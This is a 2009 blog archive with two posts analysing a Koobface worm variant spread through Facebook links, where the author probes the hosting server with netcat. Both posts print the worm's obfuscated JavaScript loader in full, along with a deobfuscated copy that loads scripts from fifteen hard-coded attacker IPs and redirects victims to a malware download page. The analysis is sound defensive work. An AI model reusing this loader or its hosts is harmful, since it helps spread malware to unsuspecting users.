Showing posts with label KROTEG. Show all posts
Showing posts with label KROTEG. Show all posts

Sunday, September 27, 2009

Koobface Javascript Explained

In this post, I'll be going through the javascript files that I've found through links that have been posted on facebook. An example of the original file is shown below:
Javascript
// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
    if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
  ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
  break;
    }
}
window.redirect = '';
function urocwfkgdsjq6() {
 var higeruoxzcnqsbad9 = '' + window.redirect;
 if (higeruoxzcnqsbad9.length > 0) window.location.href = higeruoxzcnqsbad9;
 else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n < 101) js = '/cnet';
 else if (n < 201) js = '/warn';
 else if (n < 301) js = '/scan';
 else if (n < 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < fomqnzlcd1.length; nilhfdopsrx7 ++) {
 var onjrmgcaifxsqtzb9 = document.createElement('script');
 onjrmgcaifxsqtzb9.type = 'text/javascript';
 onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}
And here is my version of it (I de-obfuscated most of it):
De-Obfuscated Javascript
// KROTEG
var referrers = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i < referrers.length; i ++) {
    if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
  newPath = '/f=' + referrers[i][1];
  break;
    }
}
window.redirect = '';
function WaitForRedirect() {
 var currRedirect = '' + window.redirect;
 if (currRedirect.length > 0) window.location.href = currRedirect;
 else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n < 101) js = '/cnet';
 else if (n < 201) js = '/warn';
 else if (n < 301) js = '/scan';
 else if (n < 401) js = '';
}
for (var i = 0; i < ipAddresses.length; i ++) {
 var scriptTag = document.createElement('script');
 scriptTag.type = 'text/javascript';
 scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
Ok, now to go through it step by step (I am going to assume you have some experience with javascript).

The first thing this script does is get the referrer here:
Referrer
var docReferrer = '' + eval('document.referrer'), newPath = '';
Then the script tries to find a domain in its referrers array that is found in the docReferrer variable. If it finds one that matches, it sets the newPath variable to /f=<referrer abbreviation>
Matching the referrrer
for (var i = 0; i < referrers.length; i ++) {
    if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
       newPath = '/f=' + referrers[i][1];
       break;
    }
}
The next thing the script does is set window.redirect to "" (window.redirect = '';). Then it defines a function that uses setTimeout() to periodically (and semi-asynchronously) check window.redirect to see if there is any data stored there. If there is, the window.location.href is set to the window.redirect variable, redirecting the browser to the new location. This is shown below:
WaitForRedirect() function
window.redirect = '';
function WaitForRedirect() {
 var currRedirect = '' + window.redirect;
 if (currRedirect.length > 0) window.location.href = currRedirect;
 else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
After making the initial call to the WaitForRedirect() function, the script sets the variable js to one of /view, /cnet, /warn, /scan or blank (''), based on the id number of your account on any one of the social networking sites koobface targets. The way it does this isn't very straightforward. First, it looks for the "?id=" substring in the href:
var n = location.href.indexOf('?id=');
Then, if the current href contains the "?id=" substring, then it tries to parse the id of your account by parsing anything that comes after "?id=":
if (n != -1) { n = parseInt(location.href.substr(n + 4)); ... }
Then the script assigns the js variable to a new value, depending on the magnitude of your id. If your id is greater than or equal to 401, js will always be "/view". This would be the case for all (I think) facebook accounts, as well as any other account on a site, unless you were one of the first 400 people to sign up and the site uses sequential ids. I'm not quite sure why the script would want to specifically check for this, unless it's b/c the main site they are targeting uses pages that serve the correct content based on the id url param (hence the ?id=). Still have to figure out more on this one.

The last thing the script does is append a new script tag to the DOM head for each ip in its ipAddresses array:
New javascript for each ip
for (var i = 0; i < ipAddresses.length; i ++) {
 var scriptTag = document.createElement('script');
 scriptTag.type = 'text/javascript';
 scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
This is done in case one of the ips is taken out or stops working. The first script to get loaded assigns the window.redirect variable to a new value. This can be seen in the source of one of the scripts: (At the time of this writing, the ip 113.254.53.10 was up and working)
Second script content
window.redirect='h t t p://113.254.53.10/d='+location.hostname+'/0x3E8/f=fb2/cnet/';
Note that the /f=fb2/cnet/ part of the the string being assigned to window.redirect will change based on what site you were on when you clicked the link, as well as what the id= url-param was.

Remember that WaitForRedirect() function we explained earlier and how it periodically checks for a non-blank string in the window.redirect variable? Once the second script assigns a non-blank string to that variable, the WaitForRedirect() function will redirect the browser to the new url. From there, many different things may happen, but it looks like most of them are social networking site look-alikes that try and get you to run an executable that automatically starts downloading.

Well, that's about it for tonight :)

Thursday, September 24, 2009

Koobface on my Facebook!

I was checking my facebook earlier today (something I almost never do), and noticed that someone had left a weird link on my wall: h t t p ://s217307881.mialojamiento.es/y0urc1ip/ I first visited the page in Firefox with javascript and such turned off. This is the source of the page as seen from firefox:
pcnxnkcaiztp cvnxmxxrgscdvkr
<script src="9j72fkj-de1w.js"></script>
qgdtubgfdho adbdzoam
I then decided to visit the page from the command line using netcat:
C:\>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:40:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

6e
<title>Amazing Video</title>
ucctsfnqmvyh ldaumylhrlljfb
<img src=j18sda5ncm8.jpg>
exlyansstgifbh wsrwmduxllj

0
Notice the difference? No javascript tag is found in the source. I did a little experimenting with the server and found that only requests that contain valid User-Agent headers will get the script tag:
C:\>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es
User-Agent: The Old Laundry Basket

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:49:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

6a
<title>Amazing Video</title>
ozgauyjgghjy aabkqxigumthaux
<img src=j18sda5ncm8.jpg>
jorivrc bjajszitzkdqh

0
This one is sending a User-Agent string that IE8 uses:
C:\Documents and Settings\Student>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 3.0.30729; InfoPath.3; .NET CLR 4.0.20506)

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:58:35 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

5c
upthmidfi ajglroelpsymijw
<script src="9j72fkj-de1w.js"></script>
ailsoghinur aaqajwmblrnbj

0
Now, onto the Javascript file: 9j72fkj-de1w.js. Below is the original contents of the file:
// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
    if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
  ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
  break;
    }
}
window.redirect = '';
function urocwfkgdsjq6() {
 var higeruoxzcnqsbad9 = '' + window.redirect;
 if (higeruoxzcnqsbad9.length > 0) window.location.href = higeruoxzcnqsbad9;
 else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n < 101) js = '/cnet';
 else if (n < 201) js = '/warn';
 else if (n < 301) js = '/scan';
 else if (n < 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < fomqnzlcd1.length; nilhfdopsrx7 ++) {
 var onjrmgcaifxsqtzb9 = document.createElement('script');
 onjrmgcaifxsqtzb9.type = 'text/javascript';
 onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}
And here is my version of it:
// KROTEG
var referrers = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i < referrers.length; i ++) {
    if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
  newPath = '/f=' + referrers[i][1];
  break;
    }
}
window.redirect = '';
function WaitForRedirect() {
 var currRedirect = '' + window.redirect;
 if (currRedirect.length > 0) window.location.href = currRedirect;
 else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n < 101) js = '/cnet';
 else if (n < 201) js = '/warn';
 else if (n < 301) js = '/scan';
 else if (n < 401) js = '';
}
for (var i = 0; i < ipAddresses.length; i ++) {
 var scriptTag = document.createElement('script');
 scriptTag.type = 'text/javascript';
 scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
I did some searching around for the word "KROTEG" and found this link: http://r3v3rs3e.wordpress.com/tag/kroteg/. What was on my wall was just another variant of the koobface worm.

I must say though, I found the javascript obfuscation to be quite simple to undo, which I did not expect coming from something that receives so much press.

I don't have time now to explain what the js file does, but will go through that in another post.